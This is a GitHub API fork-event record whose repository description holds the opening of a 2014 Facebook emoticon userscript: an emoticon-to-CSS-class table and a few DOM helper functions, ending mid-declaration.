{"forkee":{"id":55777229,"name":"WasHere","full_name":"jsmirrors-limited/WasHere","owner":{"login":"jsmirrors-limited","id":18211788,"avatar_url":"https://avatars.githubusercontent.com/u/18211788?v=3","gravatar_id":"","url":"https://api.github.com/users/jsmirrors-limited","html_url":"https://github.com/jsmirrors-limited","followers_url":"https://api.github.com/users/jsmirrors-limited/followers","following_url":"https://api.github.com/users/jsmirrors-limited/following{/other_user}","gists_url":"https://api.github.com/users/jsmirrors-limited/gists{/gist_id}","starred_url":"https://api.github.com/users/jsmirrors-limited/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jsmirrors-limited/subscriptions","organizations_url":"https://api.github.com/users/jsmirrors-limited/orgs","repos_url":"https://api.github.com/users/jsmirrors-limited/repos","events_url":"https://api.github.com/users/jsmirrors-limited/events{/privacy}","received_events_url":"https://api.github.com/users/jsmirrors-limited/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/jsmirrors-limited/WasHere","description":"// ==UserScript== // @name            Emoticons Facebook New 2014 // @description     Emoticons 2014 By Deo // @include         https://*.facebook.com/* // @include         https://*.facebook.com/*/* // @include         http://*.facebook.com/* // @include         http://*.facebook.com/*/* // ==/UserScript== (function() { // Active only in main frame if (!document.querySelector(\"#pageNav\")) { return; } //console.info(\"Extra Facebook Smileys\");  // = Data ======= var emoticons = [ { // Text to picture emoticons \"chars\" : \" :) \", \"class\" : \"emoticon_smile\", \"name\" : \"Smiley\" }, { \"chars\" : \" :( \", \"class\" : \"emoticon_frown\", \"name\" : \"Frown\" }, { \"chars\" : \" :P \", \"class\" : \"emoticon_tongue\", \"name\" : \"Tongue\" }, {         \"chars\" : \" :D \", \"class\" : \"emoticon_grin\", \"name\" : \"Grin\" }, { \"chars\" : \" :o \", \"class\" : \"emoticon_gasp\", \"name\" : \"Gasp\" }, { \"chars\" : \" ;) \", \"class\" : \"emoticon_wink\", \"name\" : \"Wink\" }, { \"chars\" : \" :v \", \"class\" : \"emoticon_pacman\", \"name\" : \"Pacman\" }, { \"chars\" : \" >:( \", \"class\" : \"emoticon_grumpy\", \"name\" : \"Gruñón\" }, { \"chars\" : \" :/ \", \"class\" : \"emoticon_unsure\", \"name\" : \"Unsure\" }, { \"chars\" : \" :'( \", \"class\" : \"emoticon_cry\", \"name\" : \"Cry\" }, { \"chars\" : \" ^_^ \", \"class\" : \"emoticon_kiki\", \"name\" : \"Kiki\" }, { \"chars\" : \" 8) \", \"class\" : \"emoticon_glasses\", \"name\" : \"Glasses\" }, { \"chars\" : \" B| \", \"class\" : \"emoticon_sunglasses\", \"name\" : \"Sunglasses\" }, { \"chars\" : \" <3 \", \"class\" : \"emoticon_heart\", \"name\" : \"Heart\" }, { \"chars\" : \" 3:) \", \"class\" : \"emoticon_devil\", \"name\" : \"Devil\" }, { \"chars\" : \" O:) \", \"class\" : \"emoticon_angel\", \"name\" : \"Angel\" }, { \"chars\" : \" -_- \", \"class\" : \"emoticon_squint\", \"name\" : \"Squint\" }, { \"chars\" : \" o.O \", \"class\" : \"emoticon_confused\", \"name\" : \"Confused\" }, { \"chars\" : \" >:o \", \"class\" : \"emoticon_upset\", \"name\" : \"Upset\" }, { \"chars\" : \" :3 \", \"class\" : \"emoticon_colonthree\", \"name\" : \"Colonthree\" }, { \"chars\" : \" (y) \", \"class\" : \"emoticon_like\", \"name\" : \"Like\" }, { \"chars\" : \" :* \", \"class\" : \"emoticon emoticon_kiss\", \"name\" : \"Kiss\" }, { \"chars\" : \" (^^^) \", \"class\" : \"emoticon_shark\", \"name\" : \"Shark\" }, { \"chars\" : \" :|] \", \"class\" : \"emoticon_robot\", \"name\" : \"Robot\" }, { \"chars\" : \" <(\\\") \", \"class\" : \"emoticon_penguin\", \"name\" : \"Pingüino\" }, { \"chars\" : \" :poop: \", \"class\" : \"emoticon_poop\", \"name\" : \"Poop\"         }, { \"chars\" : \" :putnam: \", \"class\" : \"emoticon_putnam\", \"name\" : \"Putman\" }, { \"chars\" : \" \\ud83c\\udf02 \", \"class\" : \"_1az _1a- _2c0\", \"name\" : \"Pink Umbrella\" }, { \"chars\" : \" \\ud83c\\udf0a \", \"class\" : \"_1az _1a- _2c1\", \"name\" : \"Sea Wave\" }, { \"chars\" : \" \\ud83c\\udf19 \", \"class\" : \"_1az _1a- _2c2\", \"name\" : \"Crescent moon\" }, { \"chars\" : \" \\ud83c\\udf1f \", \"class\" : \"_1az _1a- _2c3\", \"name\" : \"Bright Star\" }, { \"chars\" : \" \\ud83c\\udf31 \", \"class\" : \"_1az _1a- _2c4\", \"name\" : \"Seedbed\" }, { \"chars\" : \" \\ud83c\\udf34 \", \"class\" : \"_1az _1a- _2c5\", \"name\" : \"Single Palm Tree\" }, { \"chars\" : \" \\ud83c\\udf35 \", \"class\" : \"_1az _1a- _2c6\", \"name\" : \"Cactus\" }, { \"chars\" : \" \\ud83c\\udf37 \", \"class\" : \"_1az _1a- _2c7\", \"name\" : \"Tulip\" }, { \"chars\" : \" \\ud83c\\udf38 \", \"class\" : \"_1az _1a- _2c8\", \"name\" : \"Cherry Blossom\" }, { \"chars\" : \" \\ud83c\\udf39 \", \"class\" : \"_1az _1a- _2c9\", \"name\" : \"Rose\" }, { \"chars\" : \" \\ud83c\\udf3a \", \"class\" : \"_1az _1a- _2ca\", \"name\" : \"Cayenne\" }, { \"chars\" : \" \\ud83c\\udf3b \", \"class\" : \"_1az _1a- _2cb\", \"name\" : \"Sunflower\" }, { \"chars\" : \" \\ud83c\\udf3e \", \"class\" : \"_1az _1a- _2cc\", \"name\" : \"Ear Of Rice\" }, { \"chars\" : \" \\ud83c\\udf40 \", \"class\" : \"_1az _1a- _2cd\", \"name\" : \"Four Leaf Clover\" }, { \"chars\" : \" \\ud83c\\udf41 \", \"class\" : \"_1az _1a- _2ce\", \"name\" : \"Maple Leaf\" }, { \"chars\" : \" \\ud83c\\udf42 \", \"class\" : \"_1az _1a- _2cf\", \"name\" : \"Fallen Leaf\" }, { \"chars\" : \" \\ud83c\\udf43 \", \"class\" : \"_1az _1a- _2cg\", \"name\" : \"Leaf Floating In The Wind\" }, { \"chars\" : \" \\ud83c\\udf4a \", \"class\" : \"_1az _1a- _2ch\", \"name\" : \"Tangerine\" }, { \"chars\" : \" \\ud83c\\udf4e \", \"class\" : \"_1az _1a- _2ci\", \"name\" : \"Red Apple\" }, { \"chars\" : \" \\ud83c\\udf53 \", \"class\" : \"_1az _1a- _2cj\", \"name\" : \"Strawberry\" }, { \"chars\" : \" \\ud83c\\udf54 \", \"class\" : \"_1az _1a- _2ck\", \"name\" : \"Burger\" }, { \"chars\" : \" \\ud83c\\udf78 \", \"class\" : \"_1az _1a- _2cl\", \"name\" : \"Cocktail Glass\" }, { \"chars\" : \" \\ud83c\\udf7a \", \"class\" : \"_1az _1a- _2cm\", \"name\" : \"Tankard\" }, { \"chars\" : \" \\ud83c\\udf81 \", \"class\" : \"_1az _1a- _2cn\", \"name\" : \"Gift Wrapped\" }, { \"chars\" : \" \\ud83c\\udf83 \", \"class\" : \"_1az _1a- _2co\", \"name\" : \"Pumpkin With Candle\" }, { \"chars\" : \" \\ud83c\\udf84 \", \"class\" : \"_1az _1a- _2cp\", \"name\" : \"Christmas Tree\" }, { \"chars\" : \" \\ud83c\\udf85 \", \"class\" : \"_1az _1a- _2cq\", \"name\" : \"Santa\" }, { \"chars\" : \" \\ud83c\\udf88 \", \"class\" : \"_1az _1a- _2cr\", \"name\" : \"Balloon\" }, { \"chars\" : \" \\ud83c\\udf89 \", \"class\" : \"_1az _1a- _2cs\", \"name\" : \"Party Popper\" }, { \"chars\" : \" \\ud83c\\udf8d \", \"class\" : \"_1az _1a- _2ct\", \"name\" : \"Pine Decor\" }, { \"chars\" : \" \\ud83c\\udf8e \", \"class\" : \"_1az _1a- _2cu\", \"name\" : \"Japanese Dolls\" }, { \"chars\" : \" \\ud83c\\udf8f \", \"class\" : \"_1az _1a- _2cv\", \"name\" : \"Carp Streamer\" }, { \"chars\" : \" \\ud83c\\udf90 \", \"class\" : \"_1az _1a- _2cw\", \"name\" : \"Wind Chime\" }, { \"chars\" : \" \\ud83c\\udf93 \", \"class\" : \"_1az _1a- _2cx\", \"name\" : \"Graduation Cap\" }, { \"chars\" : \" \\ud83c\\udfb5 \", \"class\" : \"_1az _1a- _2cy\", \"name\" : \"Musical Note\" }, { \"chars\" : \" \\ud83c\\udfb6 \", \"class\" : \"_1az _1a- _2cz\", \"name\" : \"Multiple Musical Notes\" }, { \"chars\" : \" \\ud83c\\udfbc \", \"class\" : \"_1az _1a- _2c-\", \"name\" : \"Musical Score\" }, { \"chars\" : \" \\ud83d\\udc0d \", \"class\" : \"_1az _1a- _2c_\", \"name\" : \"Snake\" }, { \"chars\" : \" \\ud83d\\udc0e \", \"class\" : \"_1az _1a- _2d0\", \"name\" : \"Horse\" }, { \"chars\" : \" \\ud83d\\udc11 \", \"class\" : \"_1az _1a- _2d1\", \"name\" : \"Sheep\" }, { \"chars\" : \" \\ud83d\\udc12 \", \"class\" : \"_1az _1a- _2d2\", \"name\" : \"Monkey\" }, { \"chars\" : \" \\ud83d\\udc14 \", \"class\" : \"_1az _1a- _2d3\", \"name\" : \"Hen\" }, { \"chars\" : \" \\ud83d\\udc17 \", \"class\" : \"_1az _1a- _2d4\", \"name\" : \"Wild Boar\" }, { \"chars\" : \" \\ud83d\\udc18 \", \"class\" : \"_1az _1a- _2d5\", \"name\" : \"Elephant\" }, { \"chars\" : \" \\ud83d\\udc19 \", \"class\" : \"_1az _1a- _2d6\", \"name\" : \"Octopus\" }, { \"chars\" : \" \\ud83d\\udc1a \", \"class\" : \"_1az _1a- _2d7\", \"name\" : \"Snail Shell\" }, { \"chars\" : \" \\ud83d\\udc1b \", \"class\" : \"_1az _1a- _2d8\", \"name\" : \"Insect\" }, { \"chars\" : \" \\ud83d\\udc1f \", \"class\" : \"_1az _1a- _2d9\", \"name\" : \"Fish\" }, { \"chars\" : \" \\ud83d\\udc20 \", \"class\" : \"_1az _1a- _2da\", \"name\" : \"Tropical Fish\" }, { \"chars\" : \" \\ud83d\\udc21 \", \"class\" : \"_1az _1a- _2db\", \"name\" : \"Pufferfish\" }, { \"chars\" : \" \\ud83d\\udc25 \", \"class\" : \"_1az _1a- _2dc\", \"name\" : \"Chick In Front\" }, { \"chars\" : \" \\ud83d\\udc26 \", \"class\" : \"_1az _1a- _2dd\", \"name\" : \"Bird\" }, { \"chars\" : \" \\ud83d\\udc27 \", \"class\" : \"_1az _1a- _2de\", \"name\" : \"Penguin\" }, { \"chars\" : \" \\ud83d\\udc28 \", \"class\" : \"_1az _1a- _2df\", \"name\" : \"Koala\" }, { \"chars\" : \" \\ud83d\\udc29 \", \"class\" : \"_1az _1a- _2dg\", \"name\" : \"Poodle\" }, { \"chars\" : \" \\ud83d\\udc2b \", \"class\" : \"_1az _1a- _2dh\", \"name\" : \"Bactrian Camel\" }, { \"chars\" : \" \\ud83d\\udc2c \", \"class\" : \"_1az _1a- _2di\", \"name\" : \"Dolphin\" }, { \"chars\" : \" \\ud83d\\udc2d \", \"class\" : \"_1az _1a- _2dj\", \"name\" : \"Mouse Face\" }, { \"chars\" : \" \\ud83d\\udc2e \", \"class\" : \"_1az _1a- _2dk\", \"name\" : \"Cow Face\" }, { \"chars\" : \" \\ud83d\\udc2f \", \"class\" : \"_1az _1a- _2dl\", \"name\" : \"Cara de tigre\" }, { \"chars\" : \" \\ud83d\\udc30 \", \"class\" : \"_1az _1a- _2dm\", \"name\" : \"Rabbit Face\" }, { \"chars\" : \" \\ud83d\\udc31 \", \"class\" : \"_1az _1a- _2dn\", \"name\" : \"Cat Face\" }, { \"chars\" : \" \\ud83d\\udc33 \", \"class\" : \"_1az _1a- _2do\", \"name\" : \"Whale Sputtering\" }, { \"chars\" : \" \\ud83d\\udc34 \", \"class\" : \"_1az _1a- _2dp\", \"name\" : \"Horse Face\" }, { \"chars\" : \" \\ud83d\\udc35 \", \"class\" : \"_1az _1a- _2dq\", \"name\" : \"Monkey Face\" }, { \"chars\" : \" \\ud83d\\udc37 \", \"class\" : \"_1az _1a- _2dr\", \"name\" : \"Pig face\" }, { \"chars\" : \" \\ud83d\\udc38 \", \"class\" : \"_1az _1a- _2ds\", \"name\" : \"Frog Face\" }, { \"chars\" : \" \\ud83d\\udc39 \", \"class\" : \"_1az _1a- _2dt\", \"name\" : \"Hamster Face\" }, { \"chars\" : \" \\ud83d\\udc3a \", \"class\" : \"_1az _1a- _2du\", \"name\" : \"Wolf Face\" }, { \"chars\" : \" \\ud83d\\udc3b \", \"class\" : \"_1az _1a- _2dv\", \"name\" : \"Bear Face\" }, { \"chars\" : \" \\ud83d\\udc3e \", \"class\" : \"_1az _1a- _2dw\", \"name\" : \"Footprints\" }, { \"chars\" : \" \\ud83d\\udc40 \", \"class\" : \"_1az _1a- _2dx\", \"name\" : \"Eyes\" }, { \"chars\" : \" \\ud83d\\udc42 \", \"class\" : \"_1az _1a- _2dy\", \"name\" : \"Ear\" }, { \"chars\" : \" \\ud83d\\udc43 \", \"class\" : \"_1az _1a- _2dz\", \"name\" : \"Nose\" }, { \"chars\" : \" \\ud83d\\udc44 \", \"class\" : \"_1az _1a- _2d-\", \"name\" : \"Mouth\" }, { \"chars\" : \" \\ud83d\\udc45 \", \"class\" : \"_1az _1a- _2d_\", \"name\" : \"Sour Face\" }, { \"chars\" : \" \\ud83d\\udc46 \", \"class\" : \"_1az _1a- _2e0\", \"name\" : \"White hand pointing up\" }, { \"chars\" : \" \\ud83d\\udc47 \", \"class\" : \"_1az _1a- _2e1\", \"name\" : \"White hand faces downward\" }, { \"chars\" : \" \\ud83d\\udc48 \", \"class\" : \"_1az _1a- _2e2\", \"name\" : \"White hand indicating left\" }, { \"chars\" : \" \\ud83d\\udc49 \", \"class\" : \"_1az _1a- _2e3\", \"name\" : \"White hand indicating right\" }, { \"chars\" : \" \\ud83d\\udc4a \", \"class\" : \"_1az _1a- _2e4\", \"name\" : \"Fist\" }, { \"chars\" : \" \\ud83d\\udc4b \", \"class\" : \"_1az _1a- _2e5\", \"name\" : \"Hand in motion\" }, { \"chars\" : \" \\ud83d\\udc4c \", \"class\" : \"_1az _1a- _2e6\", \"name\" : \"Hand showing all good\" }, { \"chars\" : \" \\ud83d\\udc4d \", \"class\" : \"_1az _1a- _2e7\", \"name\" : \"Hand with thumb up\" }, { \"chars\" : \" \\ud83d\\udc4e \", \"class\" : \"_1az _1a- _2e8\", \"name\" : \"Hand with thumb down\" }, { \"chars\" : \" \\ud83d\\udc4f \", \"class\" : \"_1az _1a- _2e9\", \"name\" : \"Hands clapping\" }, { \"chars\" : \" \\ud83d\\udc50 \", \"class\" : \"_1az _1a- _2ea\", \"name\" : \"Open Hands\" }, { \"chars\" : \" \\ud83d\\udc66 \", \"class\" : \"_1az _1a- _2eb\", \"name\" : \"Boy\" }, { \"chars\" : \" \\ud83d\\udc67 \", \"class\" : \"_1az _1a- _2ec\", \"name\" : \"Girl\" }, { \"chars\" : \" \\ud83d\\udc68 \", \"class\" : \"_1az _1a- _2ed\", \"name\" : \"Man\" }, { \"chars\" : \" \\ud83d\\udc69 \", \"class\" : \"_1az _1a- _2ee\", \"name\" : \"Woman\" }, { \"chars\" : \" \\ud83d\\udc6b \", \"class\" : \"_1az _1a- _2ef\", \"name\" : \"Man and woman holding hands\" }, { \"chars\" : \" \\ud83d\\udc6e \", \"class\" : \"_1az _1a- _2eg\", \"name\" : \"Police Officer\" }, { \"chars\" : \" \\ud83d\\udc6f \", \"class\" : \"_1az _1a- _2eh\", \"name\" : \"Woman with bunny ears\" }, { \"chars\" : \" \\ud83d\\udc71 \", \"class\" : \"_1az _1a- _2ei\", \"name\" : \"Person with hair rubio\" }, { \"chars\" : \" \\ud83d\\udc72 \", \"class\" : \"_1az _1a- _2ej\", \"name\" : \"Man with pi mao gua\" }, { \"chars\" : \" \\ud83d\\udc73 \", \"class\" : \"_1az _1a- _2ek\", \"name\" : \"Man with turban\" }, { \"chars\" : \" \\ud83d\\udc74 \", \"class\" : \"_1az _1a- _2el\", \"name\" : \"Old Man\" }, { \"chars\" : \" \\ud83d\\udc75 \", \"class\" : \"_1az _1a- _2em\", \"name\" : \"Old Woman\" }, { \"chars\" : \" \\ud83d\\udc76 \", \"class\" : \"_1az _1a- _2en\", \"name\" : \"Baby\" }, { \"chars\" : \" \\ud83d\\udc77 \", \"class\" : \"_1az _1a- _2eo\", \"name\" : \"Construction Worker\" }, { \"chars\" : \" \\ud83d\\udc78 \", \"class\" : \"_1az _1a- _2ep\", \"name\" : \"Princess\" }, { \"chars\" : \" \\ud83d\\udc7b \", \"class\" : \"_1az _1a- _2eq\", \"name\" : \"Ghost\" }, { \"chars\" : \" \\ud83d\\udc7c \", \"class\" : \"_1az _1a- _2er\", \"name\" : \"Angel baby\" }, { \"chars\" : \" \\ud83d\\udc7d \", \"class\" : \"_1az _1a- _2es\", \"name\" : \"Alien\" }, { \"chars\" : \" \\ud83d\\udc7e \", \"class\" : \"_1az _1a- _2et\", \"name\" : \"Alien Monster\" }, { \"chars\" : \" \\ud83d\\udc7f \", \"class\" : \"_1az _1a- _2eu\", \"name\" : \"Imp\" }, { \"chars\" : \" \\ud83d\\udc80 \", \"class\" : \"_1az _1a- _2ev\", \"name\" : \"Skull\" }, { \"chars\" : \" \\ud83d\\udc82 \", \"class\" : \"_1az _1a- _2ew\", \"name\" : \"Guard\" }, { \"chars\" : \" \\ud83d\\udc83 \", \"class\" : \"_1az _1a- _2ex\", \"name\" : \"Ballerina\" }, { \"chars\" : \" \\ud83d\\udc85 \", \"class\" : \"_1az _1a- _2ey\", \"name\" : \"Nail Polish\" }, { \"chars\" : \" \\ud83d\\udc8b \", \"class\" : \"_1az _1a- _2ez\", \"name\" : \"Brand of kiss\" }, { \"chars\" : \" \\ud83d\\udc8f \", \"class\" : \"_1az _1a- _2e-\", \"name\" : \"Kissing couple\" }, { \"chars\" : \" \\ud83d\\udc90 \", \"class\" : \"_1az _1a- _2e_\", \"name\" : \"Bunch of flowers\" }, { \"chars\" : \" \\ud83d\\udc91 \", \"class\" : \"_1az _1a- _2f0\", \"name\" : \"Couple with heart\" }, { \"chars\" : \" \\ud83d\\udc93 \", \"class\" : \"_1az _1a- _2f1\", \"name\" : \"Heart beating\" }, { \"chars\" : \" \\ud83d\\udc94 \", \"class\" : \"_1az _1a- _2f2\", \"name\" : \"Broken Heart\" }, { \"chars\" : \" \\ud83d\\udc96 \", \"class\" : \"_1az _1a- _2f3\", \"name\" : \"Bright Heart\" }, { \"chars\" : \" \\ud83d\\udc97 \", \"class\" : \"_1az _1a- _2f4\", \"name\" : \"Heart growing\" }, { \"chars\" : \" \\ud83d\\udc98 \", \"class\" : \"_1az _1a- _2f5\", \"name\" : \"Heart with arrow\" }, { \"chars\" : \" \\ud83d\\udc99 \", \"class\" : \"_1az _1a- _2f6\", \"name\" : \"Blue Heart\" }, { \"chars\" : \" \\ud83d\\udc9a \", \"class\" : \"_1az _1a- _2f7\", \"name\" : \"Green Heart\" }, { \"chars\" : \" \\ud83d\\udc9b \", \"class\" : \"_1az _1a- _2f8\", \"name\" : \"Yellow Heart\" }, { \"chars\" : \" \\ud83d\\udc9c \", \"class\" : \"_1az _1a- _2f9\", \"name\" : \"Purple Heart\" }, { \"chars\" : \" \\ud83d\\udc9d \", \"class\" : \"_1az _1a- _2fa\", \"name\" : \"Heart with ribbon\" }, { \"chars\" : \" \\ud83d\\udca2 \", \"class\" : \"_1az _1a- _2fb\", \"name\" : \"Symbol of anger\" }, { \"chars\" : \" \\ud83d\\udca4 \", \"class\" : \"_1az _1a- _2fc\", \"name\" : \"Sleeping\" }, { \"chars\" : \" \\ud83d\\udca6 \", \"class\" : \"_1az _1a- _2fd\", \"name\" : \"Sweat Symbol\" }, { \"chars\" : \" \\ud83d\\udca8 \", \"class\" : \"_1az _1a- _2fe\", \"name\" : \"Quick Start Symbol\" }, { \"chars\" : \" \\ud83d\\udca9 \", \"class\" : \"_1az _1a- _2ff\", \"name\" : \"Pile of Caca\" }, { \"chars\" : \" \\ud83d\\udcaa \", \"class\" : \"_1az _1a- _2fg\", \"name\" : \"Flexed bicep\" }, { \"chars\" : \" \\ud83d\\udcbb \", \"class\" : \"_1az _1a- _2fh\", \"name\" : \"Personal Computer\" }, { \"chars\" : \" \\ud83d\\udcbd \", \"class\" : \"_1az _1a- _2fi\", \"name\" : \"Mini Disco\" }, { \"chars\" : \" \\ud83d\\udcbe \", \"class\" : \"_1az _1a- _2fj\", \"name\" : \"Floppy disk\" }, { \"chars\" : \" \\ud83d\\udcbf \", \"class\" : \"_1az _1a- _2fk\", \"name\" : \"Optical Disc\" }, { \"chars\" : \" \\ud83d\\udcc0 \", \"class\" : \"_1az _1a- _2fl\", \"name\" : \"DVD\" }, { \"chars\" : \" \\ud83d\\udcde \", \"class\" : \"_1az _1a- _2fm\", \"name\" : \"Telephone receiver\" }, { \"chars\" : \" \\ud83d\\udce0 \", \"class\" : \"_1az _1a- _2fn\", \"name\" : \"Fax\" }, { \"chars\" : \" \\ud83d\\udcf1 \", \"class\" : \"_1az _1a- _2fo\", \"name\" : \"Mobile Phone\" }, { \"chars\" : \" \\ud83d\\udcf2 \", \"class\" : \"_1az _1a- _2fp\", \"name\" : \"Mobile phone with arrow from left to right\" }, { \"chars\" : \" \\ud83d\\udcfa \", \"class\" : \"_1az _1a- _2fq\", \"name\" : \"Television\" }, { \"chars\" : \" \\ud83d\\udd14 \", \"class\" : \"_1az _1a- _2fr\", \"name\" : \"Bell\" }, { \"chars\" : \" \\ud83d\\ude01 \", \"class\" : \"_1az _1a- _2fs\", \"name\" : \"Face to face with smiling eyes\" }, { \"chars\" : \" \\ud83d\\ude02 \", \"class\" : \"_1az _1a- _2ft\", \"name\" : \"Face with tears of joy\" }, { \"chars\" : \" \\ud83d\\ude03 \", \"class\" : \"_1az _1a- _2fu\", \"name\" : \"Smiley face with open mouth\" }, { \"chars\" : \" \\ud83d\\ude04 \", \"class\" : \"_1az _1a- _2fv\", \"name\" : \"Face and eyes smiling with mouth open\" }, { \"chars\" : \" \\ud83d\\ude06 \", \"class\" : \"_1az _1a- _2fw\", \"name\" : \"Smiley face with mouth open and eyes closed\" }, { \"chars\" : \" \\ud83d\\ude09 \", \"class\" : \"_1az _1a- _2fx\", \"name\" : \"Face winking eye\" }, { \"chars\" : \" \\ud83d\\ude0b \", \"class\" : \"_1az _1a- _2fy\", \"name\" : \"Guy savoring delicious food\" }, { \"chars\" : \" \\ud83d\\ude0c \", \"class\" : \"_1az _1a- _2fz\", \"name\" : \"Relief face\" }, { \"chars\" : \" \\ud83d\\ude0d \", \"class\" : \"_1az _1a- _2f-\", \"name\" : \"Smiley face with heart shaped eyes\" }, { \"chars\" : \" \\ud83d\\ude0f \", \"class\" : \"_1az _1a- _2f_\", \"name\" : \"Smirk face\" }, { \"chars\" : \" \\ud83d\\ude12 \", \"class\" : \"_1az _1a- _2g0\", \"name\" : \"Face of boredom\" }, { \"chars\" : \" \\ud83d\\ude13 \", \"class\" : \"_1az _1a- _2g1\", \"name\" : \"Face with cold sweat\" }, { \"chars\" : \" \\ud83d\\ude14 \", \"class\" : \"_1az _1a- _2g2\", \"name\" : \"Pensive face\" }, { \"chars\" : \" \\ud83d\\ude16 \", \"class\" : \"_1az _1a- _2g3\", \"name\" : \"Confused face\" }, { \"chars\" : \" \\ud83d\\ude18 \", \"class\" : \"_1az _1a- _2g4\", \"name\" : \"Throwing kiss Face\" }, { \"chars\" : \" \\ud83d\\ude1a \", \"class\" : \"_1az _1a- _2g5\", \"name\" : \"Kissing face with eyes closed\" }, { \"chars\" : \" \\ud83d\\ude1c \", \"class\" : \"_1az _1a- _2g6\", \"name\" : \"Face with tongue out and winking\" }, { \"chars\" : \" \\ud83d\\ude1d \", \"class\" : \"_1az _1a- _2g7\", \"name\" : \"Face with tongue hanging out and eyes closed\" }, { \"chars\" : \" \\ud83d\\ude1e \", \"class\" : \"_1az _1a- _2g8\", \"name\" : \"Face discouraged\" }, { \"chars\" : \" \\ud83d\\ude20 \", \"class\" : \"_1az _1a- _2g9\", \"name\" : \"Face of anger\" }, { \"chars\" : \" \\ud83d\\ude21 \", \"class\" : \"_1az _1a- _2ga\", \"name\" : \"Very angry face\" }, { \"chars\" : \" \\ud83d\\ude22 \", \"class\" : \"_1az _1a- _2gb\", \"name\" : \"Crying Face\" }, { \"chars\" : \" \\ud83d\\ude23 \", \"class\" : \"_1az _1a- _2gc\", \"name\" : \"Face of perseverance\" }, { \"chars\" : \" \\ud83d\\ude24 \", \"class\" : \"_1az _1a- _2gd\", \"name\" : \"Face of triumph\" }, { \"chars\" : \" \\ud83d\\ude25 \", \"class\" : \"_1az _1a- _2ge\", \"name\" : \"Face discouraged but relieved\" }, { \"chars\" : \" \\ud83d\\ude28 \", \"class\" : \"_1az _1a- _2gf\", \"name\" : \"Scary face\" }, { \"chars\" : \" \\ud83d\\ude29 \", \"class\" : \"_1az _1a- _2gg\", \"name\" : \"Fatigued face\" }, { \"chars\" : \" \\ud83d\\ude2a \", \"class\" : \"_1az _1a- _2gh\", \"name\" : \"Sleeping face\" }, { \"chars\" : \" \\ud83d\\ude2b \", \"class\" : \"_1az _1a- _2gi\", \"name\" : \"Tired face\" }, { \"chars\" : \" \\ud83d\\ude2d \", \"class\" : \"_1az _1a- _2gj\", \"name\" : \"Face screaming\" }, { \"chars\" : \" \\ud83d\\ude30 \", \"class\" : \"_1az _1a- _2gk\", \"name\" : \"Face with mouth open and cold sweat\" }, { \"chars\" : \" \\ud83d\\ude31 \", \"class\" : \"_1az _1a- _2gl\", \"name\" : \"Terrified face of fear\" }, { \"chars\" : \" \\ud83d\\ude32 \", \"class\" : \"_1az _1a- _2gm\", \"name\" : \"Very surprised face\" }, { \"chars\" : \" \\ud83d\\ude33 \", \"class\" : \"_1az _1a- _2gn\", \"name\" : \"Face flushed\" }, { \"chars\" : \" \\ud83d\\ude35 \", \"class\" : \"_1az _1a- _2go\", \"name\" : \"Face dizzy\" }, { \"chars\" : \" \\ud83d\\ude37 \", \"class\" : \"_1az _1a- _2gp\", \"name\" : \"Face with medical mask\" }, { \"chars\" : \" \\ud83d\\ude38 \", \"class\" : \"_1az _1a- _2gq\", \"name\" : \"Grinning Cat face and eyes closed\" }, { \"chars\" : \" \\ud83d\\ude39 \", \"class\" : \"_1az _1a- _2gr\", \"name\" : \"Cat face with tears of laughter\" }, { \"chars\" : \" \\ud83d\\ude3a \", \"class\" : \"_1az _1a- _2gs\", \"name\" : \"Smiling cat face with open mouth\" }, { \"chars\" : \" \\ud83d\\ude3b \", \"class\" : \"_1az _1a- _2gt\", \"name\" : \"Smiling cat face with hearts in her eyes\" }, { \"chars\" : \" \\ud83d\\ude3c \", \"class\" : \"_1az _1a- _2gu\", \"name\" : \"Face of cat smile twisted\" }, { \"chars\" : \" \\ud83d\\ude3d \", \"class\" : \"_1az _1a- _2gv\", \"name\" : \"Cat face kissing with eyes closed\" }, { \"chars\" : \" \\ud83d\\ude3f \", \"class\" : \"_1az _1a- _2gw\", \"name\" : \"Cat face crying\" }, { \"chars\" : \" \\ud83d\\ude40 \", \"class\" : \"_1az _1a- _2gx\", \"name\" : \"Cat face scared terrified\" }, { \"chars\" : \" \\ud83d\\ude4b \", \"class\" : \"_1az _1a- _2gy\", \"name\" : \"Happy person raising a hand\" }, { \"chars\" : \" \\ud83d\\ude4c \", \"class\" : \"_1az _1a- _2gz\", \"name\" : \"Person holding up both hands in celebration\" }, { \"chars\" : \" \\ud83d\\ude4d \", \"class\" : \"_1az _1a- _2g-\", \"name\" : \"Person frowning\" }, { \"chars\" : \" \\ud83d\\ude4f \", \"class\" : \"_1az _1a- _2g_\", \"name\" : \"Person in prayer\" }, { \"chars\" : \" \\u261d \", \"class\" : \"_1az _1a- _2h0\", \"name\" : \"Index finger pointing up\" }, { \"chars\" : \" \\u263a \", \"class\" : \"_1az _1a- _2h1\", \"name\" : \"White face smiling\" }, { \"chars\" : \" \\u26a1 \", \"class\" : \"_1az _1a- _2h2\", \"name\" : \"High voltage symbol\" }, { \"chars\" : \" \\u26c4 \", \"class\" : \"_1az _1a- _2h3\", \"name\" : \"Snowless snowman\" }, { \"chars\" : \" \\u270a \", \"class\" : \"_1az _1a- _2h4\", \"name\" : \"Fist up\" }, { \"chars\" : \" \\u270b \", \"class\" : \"_1az _1a- _2h5\", \"name\" : \"Hand pointing up\" }, { \"chars\" : \" \\u270c \", \"class\" : \"_1az _1a- _2h6\", \"name\" : \"Winning Hand\" }, { \"chars\" : \" \\u2600 \", \"class\" : \"_1az _1a- _2h7\", \"name\" : \"Sun With Rays\" }, { \"chars\" : \" \\u2601 \", \"class\" : \"_1az _1a- _2h8\", \"name\" : \"Cloud\" }, { \"chars\" : \" \\u2614 \", \"class\" : \"_1az _1a- _2h9\", \"name\" : \"Umbrella With Rain Drops\" }, { \"chars\" : \" \\u2615 \", \"class\" : \"_1az _1a- _2ha\", \"name\" : \"Hot Drink\" }, { \"chars\" : \" \\u2728 \", \"class\" : \"_1az _1a- _2hb\", \"name\" : \"Brightness\" }, { \"chars\" : \" \\u2764 \", \"class\" : \"_1az _1a- _2hc\", \"name\" : \"Heavy Black Heart\" } ];  // = Variables ======= var lastActiveElement = document.activeElement;  // = Functions ======= function createElement(html) { var outerHTML = document.createElement(\"div\"); outerHTML.innerHTML = html; return outerHTML.firstChild; }  function htmlSpecialChars(string) { var div = document.createElement(\"div\"); var text = document.createTextNode(string); div.appendChild(text); return div.innerHTML; }  function isInstanceOfTextInput(element) { return (element instanceof HTMLInputElement && element.type == \"text\") || element instanceof HTMLTextAreaElement; }  function 